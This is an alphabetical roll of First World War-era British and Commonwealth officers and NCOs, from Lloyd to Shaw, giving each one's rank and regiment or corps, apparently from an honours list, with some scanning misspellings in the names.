Tmp Lt. Robert Llewellyn Mandeville Lloyd, Shropshire Light Inf.
Capt. William Alexander Charles Lloyd, West Yorkshire Reg.
Tmp Capt. Griffith Ellis Lloyd-Jones, East Yorkshire Reg.
Tmp Capt. Geoffrey Denis Lock, Devonshire Reg.
Tmp Capt. Thomas Percy Locking, New Armies
Act. Capt. Geoffrey Owen Lockwood, Royal Engineers
Lt. Luckey Lockwood, Royal Field Arty.
Capt. George Sherwin Lockwood, Lancashire Fusiliers
Tmp Capt. Conrad Loddiges, RAMC
2nd Lt. James Logan, Royal Engineers
Capt. Joshue Arthur Barber Lomax, Royal Field Arty.
Capt. Norman Veatch Lothian RAMC
Capt. Harry Leslie Bache Lovatt, South Staffordshire Reg.
Capt. William Muncaster Lovatt, Royal Garrison Arty.
Tmp Lt. Frederick Stephen Low, Royal Field Arty.
Act. Major William Alexander Low, Royal Field Arty.
Tmp Capt. Frederick William Lown, Tank Corps
Lt. Geoffrey Grant Lowndes, Royal Field Arty.
Lt. Norman Charles Leslie Lowth, Lancashire Fusiliers
Lt. Ralph Hugh Lubbock, Royal Field Arty.
Capt. John de Blaquiere Tindall Lucas, Royal Field Arty.
Tmp Capt. Reginald Hutchison Lucas, RAMC
Tmp Lt. Alan Lumb, Royal Arty., Royal Field Arty.
Tmp Capt. Arthur Douglas Lumb, Royal Engineers
Tmp Capt. George James Sanderson Lumsden, Cameron Highlanders
Q.M. and Hon. Lt. Richard Lumsden, Royal Inniskilling Fusiliers
Tmp Q.M. and Hon. Lt. Arthur Patrick Lunam, Nottinghamshire and Derbyshire Reg.
Tmp 2nd Lt. Reginald Owton Lunn, Labour Corps
Rev. David Colville Lusk, Royal Army Chaplains' Dept.
Capt. Peter Young Lyle, Argyll and Sutherland Highlanders
Capt. William James Lyle, Highland Light Inf.
Tmp Capt. Charles Gabriel Joseph Lynam, Royal Engineers
Lt. Alfred Cecil Lynn, Yorkshire Light Inf.
C.S. Maj. Richard Mabbott, Royal Fusiliers
Lt. Herbert Carteighe Maben, Worcestershire Reg.
Tmp Capt. James Chateau McArthur, Army Service Corps
Tmp Capt. James Simpson McArthur, General List, late King's Own Scottish Borderers
Tmp Capt. Donald Boyd Macaulay, Seaforth Highlanders
Lt. William Robert Brown McBain, Royal Field Arty. and Royal Flying Corps
Lt. William James McBeath, Highland Light Inf.
Tmp Capt. Frederick Johnston McCall, Royal Army Veterinary Corps
2nd Lt. David McCarthy, Liverpool Reg.
2nd Lt. Thomas George McCarthy, London Reg.
2nd Lt. Tyndall McClelland, Highland Light Inf.
Capt. Charles McCombie, Gordon Highlanders
Tmp Capt., William McConnell RAMC
Capt. Henry Ernest McCready RAMC
Tmp Capt. Thomas Robert McCready, Royal Marines, and Machine Gun Corps
2nd Lt. James Thompson McCubbin, Liverpool Reg.
2nd Lt. David John McCullough, Royal Irish Rifles
2nd Lt. Alexander MacDonald, Argyll and Sutherland Highlanders
Lt. Andrew Garfield MacDonald, London Reg.
Lt. John Alexander MacDonald, Royal Field Arty.
Capt. Douglas James McDougall, Royal Scots
Capt. Thomas McEwen, RAMC
Tmp Capt. John Mandeville MacFie RAMC
Lt. William Richard Arundel McGee, Royal Field Arty.
Tmp Capt. Jackson McGowan, Army Ordnance Depot
Lt. James Allister McGregor, Argyll and Sutherland Highlanders
Lt. Cyril Michael McHale, South Lancashire Reg.
Lt. Alfred Charles McIntosh, Royal Engineers
Lt. Douglas Bentley McIntosh, Liverpool Reg.
Capt. Reginald George Macintyre, Durham Light Inf.
Lt. Robert Hamilton Montgomery McIntyre, Yeomanry
Tmp Capt. William Keverall McIntyre RAMC
Lt. Norman Balfour McIvor, Middlesex Reg.
Tmp Capt. Magnus Ross Mackay RAMC, attd. Royal Field Arty.
Tmp Lt. Arthur Murdo Mackenzie, Royal Engineers
Lt. Donald Ross Mackenzie, Royal Field Arty.
2nd Lt. lan Dawson Mackenzie, Royal Dublin Fusiliers
Lt. Henry Erskine McKie, Royal Field Arty.
Tmp Capt. John Wallace MacKinlay, Scottish Rifles
Q.M. and Hon. Lt. David McLachlan, Royal Highlanders
Tmp 2nd Lt. James Menzies MacLachlan, General List, attd. Trench Mortar Battery
Capt. Thomas McLaren, Royal Garrison Arty.
2nd Lt. George Hugh Maclear, Cheshire Reg.
Lt. James Younger McLean, Royal Field Arty. and Royal Flying Corps
Capt. Ronald MacLear, attd. Army Service Corps
B.Q.M. Sgt. William Laidlow MacLean, Royal Scots Fusiliers
Tmp Lt. Kenneth Thomas McLelland, Royal Engineers
Capt. Kenneth MacLennan, RAMC
Lt. James McMichael, Highland Light Inf.
Lt. John MacMurray, Royal Field Arty.
Tmp 2nd Lt. Robert McMurray, Royal Engineers
Capt. Arthur Thomas McMurrough-Kavanagh, Hussars
R.S. Maj. Morgan George McNama, Connaught Rangers
Tmp Lt. John McNicholl, Seaforth Highlanders
Lt. Malcolm McNicholl, Yorkshire Light Inf.
Tmp Capt. Charles Ogte Maconachie, Royal Army Veterinary Corps
Tmp 2nd Lt. Edmiston MacGregor MacQuarrie, Royal Engineers
2nd Lt. James McWilliam, Liverpool Reg.
Tmp Capt. Percy Hamilton Maflin, Royal Engineers
2nd Lt. Collin Arthur Maguire, Royal Engineers
Q.M. and Hon. Capt. Thomas Mahony, Royal Irish Reg.
2nd Lt. William John Maidment, Welsh Reg.
Tmp Capt. Sidney John Male, King's Royal Rifle Corps
Q.M. and Hon. Lt. Joseph Rupert Malbon, Royal Engineers
2nd Lt. Clifford Angus Mallam, Royal Berkshire Reg.
Tmp Capt. Herbert Reginald Mallett, Middlesex Reg.
2nd Lt. Robert Maltby, Lancashire Fusiliers
Rev. Leslie George Mannering, Royal Army Chaplains' Dept.
Battery Sergeant Major William Marchant, Royal Garrison Arty.
Tmp Lt. Arthur Ronald Mares, Northumberland Fusiliers
Tmp Q.M. and Hon. Lt. John William Marriott, Nottinghamshire and Derbyshire Reg.
Tmp R.S. Maj. William David Marsden, Northamptonshire Reg.
Capt. Frank Douglas Marsh, RAMC
Tmp Lt. Charles William Marshall, Liverpool Reg.
Capt. Edward Nixon Marshall, West Riding Reg.
Tmp Capt. Eric Stewart Marshall, RAMC
Capt. Harold Marshall, Hampshire Reg.
Lt. Leslie Phillips Marshall, West Yorkshire Reg.
Tmp Capt. Frederic Edward Marston, Royal Engineers
2nd Lt. Howard de Courcy Martelh, Royal Army Chaplains' Dept., attd. 62nd Division
Tmp Lt. Ernest Wilfred Leigh Martin, 24th Divisional Train
Q.M. and Hon. Capt. Richard Henry Martin, Monmouthshire Reg.
2nd Lt. Clive Harrison Martyn, Northamptonshire Reg.
Tmp Capt. Graham William Massingham, Army Service Corps
Lt. Reginald Frank Mason, Royal Field Arty.
Capt. Edgar Alan Masters, Army Service Corps
Q.M. and Hon. Capt. Frederick William Masters, Lincolnshire Reg.
Tmp Capt. James Frederick Matheson RAMC
Tmp Lt. Felton Arthur Hamilton Mathew, Royal Engineers
Lt. Alexander, John Mathieson, Royal Field Arty.
Lt. Frederick Keith Matthew, North Lancashire Reg.
2nd Lt. Percy Thomas Matthews, London Reg.
Q.M. and Hon. Lt. John Hannaford Maunder, RAMC
Tmp Lt. Hugh Rochfort Maxsted, General List
Tmp Lt. Arthur Lionel May, Royal Welsh Fusiliers
Capt. John Edwin Maynard, London Reg.
2nd Lt. William Herbert Lisle Medford, Royal Garrison Arty.
Capt. Ernest Anthony Meek, Durham Light Inf.
Capt. Robert Meiklejohn, Army Service Corps
Rev. Charles Gustave Clark Meister, Royal Army Chaplains' Dept.
Tmp 2nd Lt. John Barnett Mennie, Cheshire Reg.
Tmp Lt. Horace George Merriok, Royal Garrison Arty.
Tmp Capt. Mark Hepper Merry, Welsh Reg.
Tmp Capt. Charles Campbell Metcalfe, General List
Lt. Everard Charles Meynell, Royal Field Arty.
2nd Lt. William Charles Frederick Meyrick, Devonshire Reg.
Lt. William Godwin Michelmore, Royal Engineers
Lt. Rupert Charles Godfrey Middleton, Royal Sussex Reg.
Lt. Stanley Wayman Milburn, Headquarters, Royal Field Arty.
Tmp Lt. Arthur Tremayne Miles, King's African Rifles
Tmp Lt. Brynmor Miles, Royal Field Arty.
Tmp Capt. Archibald Underwood Millar RAMC
Capt. John Miller, RAMC
Capt. James Bruce Miller, Royal Engineers
Tmp Lt. Percy Maurice Miller, Royal Irish Rifles
Tmp Capt. Edgar Edward Mills, South Wales Borderers
Capt. Frederick Leighton Victor Mills, Royal Field Arty.
Tmp Capt. Lacey Burchett Mills, East Surrey Reg.
2nd Lt. Stanley Wayre Mills, Royal Field Arty.
Capt. Harold Aubrey Milton, London Reg.
Tmp Capt. Frank Miskin, Suffolk Reg.
Tmp Lt. James Hendrie Mitchell, Border Reg.
Tmp Capt. John Malcolm Mitchell, General List
Tmp Sub Lt. Lionel George Mitchelmore, Royal Naval Volunteer Reserve
Tmp Lt. George Hamilton Moberly, Machine Gun Corps
Capt. Stanley Moffett, Northumberland Fusiliers
Q.M. and Hon. Lt. Joseph Patrick Mogam, East Yorkshire Reg.
Tmp Capt. John Donald Mollett, Royal Engineers
Lt. Caryl Richard Molyneux, 10th Hussars
Lt. John Henry Monaghan, Leinster Reg.
Lt. Hugh Benyon Monier-Williams, Suffolk Reg.
Tmp Lt. Henry William John Monk, Royal Engineers
Capt. Frederick James Osbaldeston Montagu, Coldstream Guards
Capt. Monthermer Stanley Hume Montague, East African Forces
Capt. Eustace William Montgomerie, Norfolk Reg.
Tmp Lt. Francis James Dudingston Montgomerie, Royal Engineers
Capt. Robert Vandeleur Montgomery, Somerset Light Inf.
2nd Lt. Phillips Burney Sterndale Gybbon Monypenny, Royal West Kent Reg.
Lt. Mark Sprot, Moody-Stuart, Royal Field Arty.
Tmp Lt. Claud Augustus Moore, Royal Fusiliers
Capt. Cedric Gell Moore, Manchester Reg.
Lt. Harry Andrew Moore, Royal Garrison Arty.
Capt. John Francis Cumberlege Mordaunt, Somerset Light Inf.
Tmp Lt. Gerald Alexander McKay Morant, West Yorkshire Reg.
Tmp Capt. James Sharah Hunuford Morgan, King's African Rifles
Tmp Capt. Montagu Trovers Morgan, RAMC, attd. King's African Rifles
Lt. Sydney Hubert Morgan, Royal Engineers
Lt. Charles Stewart Morice, Worcestershire Reg., and Royal Flying Corps
2nd Lt. Frederick Alexander Morrell, East Kent Reg.
2nd Lt. Thomas Morrill, Royal Garrison Arty.
2nd Lt. Arthur Frank Morris, Royal Field Arty.
2nd Lt. Thomas Hooper Morns, Royal Engineers
Rev. William Frederick Morns, Royal Army Chaplains' Dept.
2nd Lt. Charles Esmond Morrisoin, Leicestershire Reg.
Tmp Capt. Reginald Sperling Morshead RAMC
2nd Lt. Alfred Ellenngton Morton, Royal Lancaster Reg.
Tmp Capt. Ralph Morton, Lancashire Fusiliers
Lt. David William Moss, Royal Garrison Arty.
2nd Lt. Edward Mount, Royal Engineers
Tmp Capt. William Samuel Mounteney, Royal Garrison Arty.
2nd Lt. John Alexander Mowat, Hampshire Yeomanry, attd. Hampshire Reg.
Tmp Lt. Patrick Desmond Mulholland, Machine Gun Corps
Capt. William Mulholland, Mil. Lab. Bur
2nd Lt. Robert Mullaney, Yorkshire Reg.
Tmp Lt. Douglas Graham Munro, Machine Gun Corps
Tmp Capt. James Stewart Grahahm Munro, Royal Field Arty.
Tmp Lt. John James Munro, Royal Engineers
Q.M. and Hon. Lt. Benjamin Murdoch, Royal Scots
Capt. William Murdoch RAMC
Lt. Charles Alexander Phipps Murison, Royal Field Arty.
Tmp Capt. Arthur John Murphy, Royal Welsh Fusiliers
Tmp Capt. John William Mnse, Royal Field Arty.
Tmp Capt. Hanley Musker, Lancashire Fusiliers
2nd Lt. Ernest Francis Hume Murray, Honourable Arty. Company
Tmp 2nd Lt. George Scott Murray, General List and Royal Flying Corps
Tmp Q.M. and Hon. Lt. John Grant Murray, Royal Marines, attd. Field Ambulance
Tmp Lt. Patrick Moncreiff Murray, General List, attd. Inf. Brigade
Tmp Capt. William Patrick Murray, Northumberland Fusiliers
Capt. Charles William Chester Myles RAMC
Capt. Ian Couper Nairn, Yeomanry
Tmp Lt. Reginald Lancelot Naah, Royal Field Arty.
Lt. Robert Percy Nathan, Royal Field Arty.
Tmp Capt. John Neal, Royal Garrison Arty.
Tmp Capt. Charles James Neale, Royal Field Arty.
Capt. Alfred Owen Needham, Lancashire Fusiliers
Tmp Lt. John Barrie Neilson, Machine Gun Corps
Lt. Andrew Edmondson Walsh Nesbitt, Royal Garrison Arty.
Lt. James Edmund Henderson Nevalle, Oxfordshire & Buckinghamshire Light Inf.
2nd Lt. Frederick Newcomb, Hampshire Reg.
Capt. John Geoffrey Newell, West Yorkshire Reg.
Tmp Q.M. and Hon. Capt. James Newton, Royal Irish Rifles
Tmp Capt. George McLaughlm Niccol, Royal Field Arty.
Tmp Lt. Charles Brian Nichols, Suffolk Reg.
Capt. James Nichols, London Reg.
Capt. Morres Nickalls, Yeomanry
Tmp Lt. Edwin Nickerson, Royal Engineers
Capt. Ralph Kenneth Taylor Nightingale, Lancashire Fusiliers
2nd Lt. Stuart Henry Nooks, Royal Field Arty.
Tmp Capt. Stanley Node-Miller, Royal Highlanders
Lt. Reginald Edward Norrds, Rifle Brigade, attd. Machine Gun Corps
Tmp Lt. Thomas Pilkington Norris, Royal Engineers
Rev. Phillip Mary Northcoite, Royal Army Chaplains' Dept., attd. Cheshire Reg.
Capt. Francis John Nugee, Leicestershire Reg.
2nd Lt. Maurice Twemilow Nunnerley, Lancashire Fusiliers
Tmp Lt. Edmund Roy Nurse, Machine Gun Corps
Tmp Lt. Mervyn Alexander MacGregor Oakford, Machine Gun Corps
Lt. Sydney Edward Odgers, Machine Gun Corps
Capt. Sidney O'Donel, Mob Vet Sec, Royal Army Veterinary Corps
C.S. Maj. Charles O'Donovan, Royal Fusiliers
Act. Sgt. Major Walter George Ogden, Army Ordnance Corps
2nd Lt. Maurice Tremble Ogilvie, Royal Garrison Arty.
2nd Lt. Cyril Okell, Field Company, Royal Engineers
Lt. William Mathias O'Kelly, Army Service Corps
Rev. Henry Douglas Oldfield, Royal Army Chaplains' Dept.
Tmp Capt. William Joshua Oliver, Durham Light Inf.
Tmp Lt. John Stuart Omond, Army Ordnance Depot
2nd Lt. Edward Freer Orgill, North Staffordshire Reg., attd. Manchester Reg.
2nd Lt. John Augustus Oriel, Royal Garrison Arty.
Tmp Lt. Henry Ormandy, Royal Engineers
Tmp 2nd Lt. Vernon Winton Ory, Army Service Corps
Tmp 2nd Lt. Ernest John Osborn, General List, and Trench Mortar Battery
Tmp Lt. Thomas Broadbent Osbourne, Cable Section, Royal Engineers
Q.M. and Hon. Lt. Robert William John Osmond, Middlesex Reg.
2nd Lt. Andrew Geraint Joseph Owen, Welsh Reg.
Capt. Herbert Charles Owen, Middlesex Reg.
Capt. Walter Hayes Oxley, Royal Engineers
Lt. James Leslie Padmore, Royal Warwickshire Reg.
Tmp 2nd Lt. Arthur Frederick Page, Royal Warwickshire Reg.
Tmp Capt. Parker Sutton Page, Royal Fusiliers
Tmp Lt. Albert Arthur Painting, Machine Gun Corps
Capt. Ridley Pakenham-Pakenham-Walsh, Royal Engineers
Capt. Edward Chippendall Palmer, West Riding Reg.
Battery Sergeant Major William Palmer, Royal Garrison Arty.
Q.M. and Hon. Lt. Walter Palmerr King's Royal Rifle Corps
2nd Lt. Charlie Pannall, Royal West Surrey Reg.
Tmp Capt. Arthur George Pardoe, Royal Engineers, Royal Monmouthshire Reg.
Lt. John Brown Park, Scottish Rifles, attd. Cameron Highlanders
Lt. George Henry Parker, Royal Arty., and Gold Coast Reg.
2nd Lt. Cecil Joseph Parker, Royal Engineers
Lt. Robert Parker, North Lancashire Reg. attd. Light Trench Mortar Battery
Q.M. and Hon. Lt. Sidney Parker, Worcestershire Reg.
2nd Lt. John Parkin, Royal Garrison Arty.
Capt. George Westhead Parkinson, Royal Engineers (formerly North Lancashire Reg.)
2nd Lt. John Bertram Parks, Essex Reg., attd. 2nd New Zealand Machine Gun Corps
2nd Lt. William Hamilton Parnisr East Kent Reg.
2nd Lt. Arthur Cyril Lawes Parry, Yorkshire Reg., attd. Royal Lancaster Reg.
Tmp Capt. Guy William Parry, RAMC
Lt. Charles Roy Parsons, Oxfordshire & Buckinghamshire Light Inf.
Lt. Harold Archer James Parsons, Royal Engineers
2nd Lt. John Henry Parsons, Yeomanry
2nd Lt. Robert Henderson Parsons Royal Engineers
Lt. Thomas Crompton Parsons, East Lancashire Reg.
Tmp Lt. Richard Douglas Passey RAMC, attd. King's Royal Rifle Corps
Lt. Christopher Parvin, Border Reg.
Tmp Capt. Montgomery Paterson Paton RAMC
Tmp Capt. William McCutcheon Patrick, Royal Engineers
Tmp Lt. William Cyril Paul, Duke of Cornwall's Light Inf.
Tmp Capt. Charles Frederick Pavitt, Army Service Corps
Tmp Capt. Sydney Archibald Payne, York & Lancaster Reg.
Tmp Lt. Henry Goold Pearce, Royal Engineers
Tmp Capt. Cecil Pearson, Royal Garrison Arty.
Capt. Frank Stanley Pearson, Dorsetshire Reg., attd. East Lancashire Reg.
Capt. Robert Tute Pearson, Army Service Corps
Capt. Philip John Sherwin Pearson-Gregory, Grenadier Guards
2nd Lt. Thomas Edward Peart, Durham Light Inf.
Tmp 2nd Lt. Nicholas Arthington Pease, East Surrey Reg.
Lt. Charles Urie Peat, Yeomanry
Lt. Ronald Tennyson Peel, Seaforth Highlanders
Tmp Capt. Harold Benjamin Pegrum, Lancashire Fusiliers
Tmp Capt. Richard Laurence Stapylton Pernberton, Durham Light Inf.
Lt. George Tresham Pender, Indian Army
Lt. John Hawkes Pendered RAMC
Tmp Capt. Edgar Ambrose Pengelly, Royal Engineers
Tmp Capt. Arthur Robert Penny, and Royal Flying Corps
Tmp Capt. Helier George Percival, Welsh Reg.
Lt. John Lakeman Percival, Nottinghamshire and Derbyshire Reg.
Tmp Lt. Sydney Cockerill Percival, Royal Engineers
Tmp Lt. Gerard Henry Perkins, Yorkshire Reg.
2nd Lt. Richard Edgecumbe Perrett, London Reg.
Lt. Eric Wingfield Pert, Royal Engineers
Capt. Henry Sydney Charles Peyton, Rifle Brigade
Tmp 2nd Lt. Richard Charles Philipp, Royal Engineers
Lt. Cecil Ernest Lucas Phillips, Royal Garrison Arty.
2nd Lt. Clive Alexander Phillips, Honourable Arty. Company
Tmp Capt. Edwin Gray Moneylaws Phillips, Royal Highlanders
Tmp Capt. Frank Phillips, General List
Lt. Stephen Noel Hamilton Phillips, Royal Field Arty.
Lt. Edward Clement Philpott, Royal Field Arty.
Tmp Capt. Hugh Alfred Philpott, Royal Field Arty.
2nd Lt. Thomas Picton, South Wales Borderers, attd. Royal Welsh Fusiliers
Capt. Wilfred Gould Pidsley, London Reg.
Lt. Gerald Robert Pirn, Royal Engineers
Capt. Harold Senhouse Pinder, Leicestershire Reg., attd. King's African Rifles
Hon. Capt. Hugh Lewis Pine, Army Ordnance Depot
Capt. Ivan Miller Pirrie RAMC
Lt. Howard Earl Pitt, Royal Field Arty.
Capt. Robert Elliot Pitts, RAMC
Capt. Harvey Forshaw Plant, Royal Field Arty.
Tmp Lt. Samuel Platten, Royal Engineers
2nd Lt. Leslie Graham Plumbly, Bedfordshire Reg.
2nd Lt. Geoffrey Howard Plummer, Royal Irish Rifles, attd. Machine Gun Corps
Tmp Lt. John Edward Barker Plummer, Liverpool Reg.
Tmp Lt. Asher Price, HTown Reg.
Tmp Capt. Axel Jonas Alfred Poignant, West Yorkshire Reg.
Tmp Capt. William Arnold Polglaze, Royal Field Arty.
Capt. Leopold Thomas Poole RAMC
Tmp Lt. Reginald Alfred Beisly Pope, Motor Machine Gun Corps
Lt. George Basil Porter, British West Indies Reg.
Tmp Lt. Harold Edward Lionel Porter, Royal Engineers
Lt. William Abbotts Porter, North Staffordshire Reg.
Capt. William Edge Porter, Leicestershire Reg.
Lt. Benjamin Henry Potter, Royal Garrison Arty., attd. Army Ordnance Depot
Tmp Lt. Frank Thomas Potter, Army Ordnance Depot
2nd Lt. George Edwin Potter, Hussars, attd. King's Royal Rifle Corps
Tmp Capt. Gordon Alan Potts, Lancashire Fusiliers
C.S. Maj. William Powell, King's Royal Rifle Corps
Tmp Lt. Charles Montague Power, Scottish Rifles
2nd Lt. Herbert Raphe Power, West Riding Reg. attd. Gloucestershire Reg.
Tmp Lt. Albert Maurice Pratt, Machine Gun Corps
Capt. Reginald Stanley Pratt, Nottinghamshire and Derbyshire Reg., attd. Trench Mortar Battery
Lt. Evan Bertram Charles Preston, Indian Army Reserve of Ofc.s, attd. Indian Inf.
Lt. Frederick Allen Preston, Royal Field Arty.
Capt. Overton Inett Preston, Nottinghamshire and Derbyshire Reg. and Royal Flying Corps
Capt. Harold Pretty, Suffolk Reg.
Capt. Harry Sibree Price, London Reg.
Capt. Charles Stafford Price-Davies, King's Royal Rifle Corps
Tmp Capt. Edward Andrews Priestland, King's African Rifles
Lt. Jonathan Lee Priestman, Royal Field Arty.
Tmp Lt. Evan Pritchard, Royal Engineers
Tmp Capt. Geoffrey John Pritchard, Royal Engineers
Capt. Richard George Proby, Yeomanry
Tmp Capt. John Clifford Proctor, Gloucestershire Reg.
Lt. John, Norman William Atkinson Procter, West Riding Reg.
Tmp Lt. Roderick Norman Lloyd Protheroe, Royal Field Arty.
Tmp Capt. George Raphael Buick Puree RAMC
Capt. Hedley Thomas Wright Quick, Royal Berkshire Reg.
Capt. Berkeley Campbell Quill, Royal West Surrey Reg. (Scottish Horse Yeomanry)
Lt. Charles Goldie Radcliffe, Royal Field Arty.
Lt. John Norman Radcliffe, Royal Garrison Arty.
Lt. Thomas Townsend Radmore, Royal Field Arty.
Tmp Capt. Cecil Probyn Napier Raikes, Royal Engineers
Capt. Adam Rankme RAMC
2nd Lt. Albert Morrison Ransom, King's Royal Rifle Corps
Lt. Ralph Albert Raphael, Royal Warwickshire Reg.
Tmp 2nd Lt. Frank Louis Ratto, Royal Welsh Fusiliers
Tmp 2nd Lt. George Norman Rawlence, Duke of Cornwall's Light Inf.
Lt. George William Rawlings, Royal Engineers, attd. Labour Corps
C.S. Maj. William Benjamin Rawlings, Royal Welsh Fusiliers
Tmp Capt. Harold Raymond, General List
Capt. Richard Valentine Read, Essex Reg.
2nd Lt. Wilbam Read, Yorkshire Light Inf.
Tmp Lt. Frederick Albert Reading, Worcestershire Reg.
2nd Lt. Ernest Join Readings, Yorkshire Reg.
Capt. Ernest George Redway, Royal Irish Reg.
Tmp Capt. August George Rehm, General List, East Africa Pay Corps
2nd Lt. Archibald Reid, Royal Field Arty.
Lt. Alexander Eraser Reid, Royal Engineers
Lt. Doug-las Muir Reid, Royal Field Arty.
Tmp Capt. Horace Arthur Reid, Royal Engineers, attd. Australian Engineers
2nd Lt. John Reid, Royal Highlanders
Lt. John Spence Read, South Staffordshire Reg.
Lt. Norman Reid, Royal Field Arty.
Tmp Q.M. and Hon. Lt. William Reid, Royal Inniskilling Fusiliers
Tmp Capt. William Brown Rennie, General List
Tmp Capt. Walter Lancaster Renwick, Labour Corps
Lt. Roy Alfred Rice, Indian Army, attd. Lancers
Capt. Leslie John Richards, Suffolk Reg.
Tmp Lt. Mark Fielding Richards, Suffolk Reg.
C.S. Maj. Arthur Edward Richardson, Rifle Brigade
Capt. Harry Richardson, Royal Engineers
Lt. Roland Richardson, Cokes Rifles attd. Pathans, Indian Army
Lt. George Arthur Rdckards, Royal Field Arty.
Tmp Lt. Sydney Riddell, York & Lancaster Reg.
Capt. Arthur George Rigby, West Yorkshire Reg.
Capt. Thomas Ridgwiay, South Lancashire Reg.
Tmp Q.M. and Hon. Capt. Ralph Musk Ridley, Suffolk Reg.
Tmp Lt. Harold Riley, Royal Engineers
Q.M. and Hon. Lt. Thomas Riley, West Yorkshire Reg.
Capt. Oswald Harbord Ripley, Royal Garrison Arty.
Lt. Arthur Roberts, Royal Engineers
Capt. Charles Eustace Roberts, Northamptonshire Reg., and Nigeria Reg.
2nd Lt. Donald Farquharson Roberts, East Surrey Reg.
2nd Lt. Eric Mark Roberts, Northumberland Fusiliers
Tmp 2nd Lt. Harold Roberts, South Staffordshire Reg.
Capt. James Ronald Roberts, Royal Engineers, attd. Railway Corps
Tmp Capt. William Roberts, Royal Field Arty.
Capt. Angus Robertson, Royal Garrison Arty.
Capt.Alexander Wmton Robertson, Royal Garrison Arty.
Lt. Brian Hubert Robertson, Royal Engineers
Lt. Cyril John Robertson, Royal Field Arty.
Lt. Donald Stewart Robertson, South Lancashire Reg.
Capt. Hector Murdoch Maxwell Robertson, Royal Arty., attd. Royal Flying Corps
2nd Lt. Leonard Dougal Robertson, King's Own Scottish Borderers
Tmp Capt. William Berry Robertson, General List
Capt. William Henderson Robertson, Royal Garrison Arty.
Capt. William Latto Robertson Field Amb, RAMC
Tmp Lt. Christopher Robinson, King's Royal Rifle Corps
Tmp Lt. Cecil Joseph Robinson, Royal Field Arty., attd. Survey Company, Royal Engineers
2nd Lt. Frederick Henry Robinson, Lincolnshire Reg., and Nigeria Reg.
Lt. Godfrey Robinson, Royal Field Arty.
Capt. Leslie Maurice Robinson, Lancashire Fusiliers
Capt. Thomas Robinson, Royal Field Arty.
Lt. John Stanley Jefferson Robson, Northumberland Fusiliers, attd. Army Cyclist Corps
Capt. Maurice James Roche Indian Medical Service
Tmp Capt. John Moyes Rodd, Army Ordnance Depot
C.S. Maj. Robert Rodger, Argyll and Sutherland Highlanders
Tmp 2nd Lt. William Albert Rodwell, Royal Engineers
Tmp Lt. Edward Allen Roe, East Surrey Reg., attd. Royal West Surrey Reg.
Tmp Lt. John Alfred Rogers, East Surrey Reg.
Sgt. Major Leslie Rogers, Nottinghamshire and Derbyshire Reg.
Capt. Cecil John Rogerson RAMC
Tmp Capt. Alfred Rollo, General List
2nd Lt. Anton Eric Romyn, Royal Field Arty.
Lt. Percy Roscorla, Royal Field Arty.
Lt. William Leonard Roseveare, Royal Engineers
Tmp Capt. Launcelot Hugh Ross, General List
Tmp 2nd Lt. Peter Graham Ross, East Lancashire Reg.
Capt. Ronald Deane Ross, Irish Horse
Capt. Hubert James Cecil Rostron, Dragoon Guards
Tmp Lt. Philip Rought, Royal Engineers
Capt. Francis Leyland Lyster Fyler Roupell, Royal Garrison Arty.
Tmp Capt. Hugh Shearer Rowan, Royal Garrison Arty.
Tmp Lt. Josiah Arthur Vivian Rowe, Royal Engineers
Tmp Capt. George Kowell, Army Service Corps
2nd Lt. John Sumner Rowley, Leicestershire Reg.
C.S. Maj. John James Rowson, King's Royal Rifle Corps
Tmp Capt. John Hewitt Roxburgh, Machine Gun Corps
Tmp Capt. Dennis Carlton Royle, Royal Fusiliers
Tmp Capt. Gordon Wilfred Ritchie Rudkin, RAMC
Tmp Capt. Alexander Walter Runciman, Royal Engineers
Capt. Alexander Russell, Mil. Lab. Bur
Capt. Charles Cooper Russell, Royal Field Arty.
Capt. Edmund Uniacke Russell, RAMC
Tmp Capt. George Black Russell, Royal Scots
Capt. Herbert Russell, Royal Field Arty.
Lt. Hugh Russell, Royal Engineers
Tmp Lt. Reginald Owen Russell, Royal West Kent Reg.
Capt. Thomas Foster Rutledge, Royal Flying Corps Spec. Reserve
Lt. Charles Cedric Ryan, Royal Garrison Arty.
Tmp Capt. Martin Ryan, Royal Fusiliers
Tmp Lt. William Tuke Sainsbury, West Yorkshire Reg.
Tmp Capt. Frederick John Salmon, Royal Engineers
2nd Lt. (Local) Herbert Charles Salter, Intelligence Corps
2nd Lt. Ernest Lambert Samuel, Honourable Arty. Company
Tmp Lt. William Young-Sandeman, Royal Engineers
Tmp Capt. William Roger Sangumetti, Royal Engineers
Tmp Lt. Hugh le Gallienne Sarchet, Royal Berkshire Reg.
2nd Lt. John Bycroft Saul, Yorkshire Light Inf., attd. Machine Gun Corps
Rev. Charles James Saunders, Royal Army Chaplains' Dept.
Sgt. Major Arthur Albert Savage, Lancers
Lt. Alfred Cecil Savill, Royal Field Arty.
Capt. Henry Bourchier Wrey Savile, Middlesex Reg.
Lt. Walter Savory, Royal Field Arty.
Tmp Capt. Alfred Henry Sayer, Royal Warwickshire Reg.
Tmp 2nd Lt. Herbert James Scales, General List and Royal Flying Corps
Sgt. Major George Arthur Scarff, Scots Guards
Q.M. and Hon. Lt. John James Schooling, Somerset Light Inf.
Lt. Frank Arthur Sclater, Royal Engineers
Tmp Lt. Adrian Gilbert Scott, Royal Engineers
Capt. Alexander Scott, Argyll and Sutherland Highlanders
Tmp 2nd Lt. Duncan Scott, Northumberland Fusiliers
Tmp Lt. James Scott, Somerset Light Inf.
Capt. James Bruce Scott, Punjabis, Indian Army
Tmp Capt. Walter Henderson Scott, RAMC, attd. Durham Light Inf.
Capt. William Fowler Fraser Scott, Royal Garrison Arty.
Tmp Lt. William Walter Scott-Moncrieff, Royal Engineers
Tmp Lt. Arthur Scragg, Army Service Corps
Capt. Wilfred Arthur Seaman, Royal Engineers
Capt. William Seaton, Nottinghamshire and Derbyshire Reg.
Lt. Robert Edward Watson Semple, Royal Arty., attd. Trench Mortar Battery
2nd Lt. Harold Serginson, attd. Trench Mortar Battery
Capt. Hugh Eric Seth Seth-Smith, Royal Irish Rifles Spec. Reserve
Tmp Lt. Claud Ramsay Wilmot Seton, Motor Machine Gun Corps
Lt. William Eric Lewis Seward, Royal Flying Corps Spec. Reserve
Capt. John Arthur Gordon Shanks, Argyll and Sutherland Highlanders
Capt. Francis Henry Shannons, Welsh Reg.
Lt. Henry Shapcott, Royal Garrison Arty.
2nd Lt. Matthew Sharp, London Reg.
Lt. Eric George Sharpe, Royal Field Arty.
2nd Lt. William Douglas Sharpington, Royal Garrison Arty.
Tmp Capt. Henry Sharpies, Liverpool Reg.
Tmp 2nd Lt. Ernest Shaw, Royal Engineers
Tmp Lt. Frank Vincent Shaw, Royal Field Arty.
